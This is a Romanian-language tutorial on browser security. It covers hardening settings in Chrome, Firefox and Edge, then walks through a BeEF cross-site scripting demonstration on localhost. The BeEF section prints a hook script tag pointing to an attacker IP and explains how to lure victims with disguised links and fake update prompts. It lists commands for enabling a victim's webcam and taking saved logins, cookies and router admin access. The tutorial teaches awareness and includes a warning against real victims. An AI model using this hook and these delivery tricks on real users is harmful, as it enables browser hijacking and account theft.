Tutorial securitate browsere

<< Inapoi
Inainte >>

Introducere

Pentru siguranta noastra in general si a PC-ului nostru, la navigarea in internet, trebuie sa ne ocupam de securitatea browserelor noastre.

In functie de browserul folosit, exista setari comune pentru diverse actiuni si setari specifice fiecarui browser in parte.


Browserul Chrome

Chrome, ca si celelalte browsere, au setari de pagina de start, marime font, zoom pagina, motorul de cautare folosit.


Chrome

In cadrul setarilor avansate, putem seta gradul de securitate al browserului (protectia impotriva site-urilor periculoase), putem gestiona setarilor pentru legaturile securizate https si certificatele SSL,
putem seta stergerea datelor colectate de browser ( stergerea istoricului de navigare, a cookie-urilor, a cache-ului si altele).


Chrome

Este bine ca setarile de securitate sa aiba setat cel mai inalt grad.


Browserul Firefox

In meniul de setari, browserul Firefox contine setarile locale si accesele la dispozitivele hardware asociate (camera web, microfon).


Firefox

De asemenea, exista setari avansate pentru blocarea ferestrelor pop-ups, a javascripturilor, blocarea descarcarilor periculoase.


Firefox

Exista si alte setari pentru siguranta navigarii noastre pe web.


Firefox

Browserul Edge (IE)

Si browserul Edge (din Windows 10) si-a sporit setarile de securitate.


Edge

Se pot bloca pop-ups-urile, add-ons, se pot salva parole, se steaza accesul la geolocatie.


Edge

De asemenea, se pot gestiona cookies-urile si alte date despre sesiunile de navigare.


Edge

In concluzie, indiferent de browserul folosit, pentru securitatea noastra, trebuie sa avem in vedere cateva elemente:
- browserul sa aiba actualizarile la zi.
- sa fie validata actualizarea automata a acestuia.
- sa fie blocate pop-ups-urile, plug-ins-urile, site-urile nesigure.
- setari adecvate pentru cookie-uri.
- folosirea unui antivirus serios cu update-uri la zi.


Insa, oricat ne-am proteja prin setarile browserelor, nu este suficient. Cel mai important lucru este sa nu dam click pe nici un buton sau link, atat in email, pagina web sau retele de socializare, daca nu suntem siguri ce se va intampla.


Vulnerabilitatea XSS a browserelor

Aceasta se refera la utilizarea si executia javascript-urilor sau a altor scripturi periculoase. Dupa cum am aratat in tutoriale, javascript-urile sunt foarte folosite in website-uri, introducand interactiuni in pagini. Acestea, sunt trimise ca instructiuni de catre sever, dar se executa in browserul clientului. Nu este o solutie sa blocam executia javascript-urilor in browser, atunci paginile aparand trunchiate sau cu elemente lipsa.
Insa, atacurile folosind vulnerabilitatea XSS a browserelor (Cross-Site Scripting), se refera tocmai la executia unui script periculos in browserul clientului, in urma caruia atacatorul capata acces asupra browserului clientului, putand accesa parole, istoric de navigare, sesiuni cookies, sau trimite comenzi asupra camerei web, a microfonului, a paginii afisate, a mesajelor de atentionare a clientului atacat.
Vom exemplifica un tip de atac folosind vulnerabilitatea XSS a browserelor, folosind aplicatia BeEF din Linux.


Atentie! Nu folositi aceasta aplicatie catre victime reale. Instrumentul BeEF a fost creat pentru testarea vulnerabilitatilor retelei noastre locale, pentru a ne putea proteja de atacuri externe.


BeEF (Browser Exploitation Framework)

BeEF este un instrument de testare pentru securitatea browserelor web.
In Kali Linux se gaseste preinstalat.


Kali

In cazul altei distributii de Linux, vom instala BeEF, folosind instructiunile:


#apt-get update
#apt-get install beef-xss


Pornim aplicatia cu icon-ul BeEF si se va deschide Terminalul:


Beef

Se observa ca, pentru a avea acces la browserul victimei, aceasta va trebui sa execute scriptul:


<script src="http://adresa_IP_atacator:3000/hook.js"></script>


unde adresa _IP_atacator este IP-ul public al atacatorului, portul folosit este 3000, iar hook.js este javascriptul care trebuie executat in browserul victimei.
Victima poate fi orice utilizator care acceseaza pagina web a atacatorului, care in sectiunea <head>, contine instructiunea:


<script src="http://adresa_IP_atacator:3000/hook.js"></script>


sau poate fi aleasa, trimitandui-se prin email sau printr-o retea de socializare link-ul cu javascriptul atacatorului. Victima poate fi inselata, intrucat textul vizibil al link-ului poate fi o trimitere spre o fotografie sau un articol interesant.
Odata ce victima a dat click pe link-ul trimis, scriptul hook.js se va executa in browser si in aplicatia atacatorului se va prelua controlul browserului victimei.
Pentru a face o demonstratie in reteaua locala (fara sa atacam nici o victima), aplicatia BeEF dispune de o pagina demonstrativa, pe care o accesam la adresa:


http://127.0.0.1:3000/demos/butcher/index.html


si care arata astfel:


Beef

Dam click pe unul din cele 2 butoane din partea stanga si scriptul hook.js va fi executat.
Acum, atacatorul tasteaza in browser:


http://127.0.0.1:3000/ui/panel


care va deschide fereastra de logare:


Beef

Tastam "beef" atat la utilizator cat si la parola si ne logam in aplicatie.


Beef

Dam click pe Online browsers si avem acces la browserul victimei.


Beef

Pe langa informatiile despre, browser, retea, sistem de operare, periferice, exista meniul de Comenzi, prin care putem da comenzi asupra browserului victimei.


Beef

Se poate solicita pornirea camerei web si a microfonului din PC-ul victimei.


Beef

Se poate porni un fisier audio sau un videoclip pe PC-ul victimei.


Beef

Se pot obtine datele de conectare in retelele de socializare, daca acestea sunt salvate in browserul de pe PC-ul victimei.


Beef

Se poate crea un cont de Administrator pe routerul victimei.


Beef

Si cel mai grav, atacatorul are acces la sesiunile de cookies si la o varietate de alte informatii detinute de browser, care da posibilitatea accesarii site-urilor si conturilor victimei, in numele acesteia.


Este adevarat ca in urma trimiterii comenzii de catre atacator, victima trebuie sa dea un accept (adica un click), insa nu este o problema, intrucat textul vazut de victima este customizat si poate sa apara ca o cerere de update a unei aplicatii, un mesaj dde avertizare sau o reclama.


<< Inapoi
Inainte >>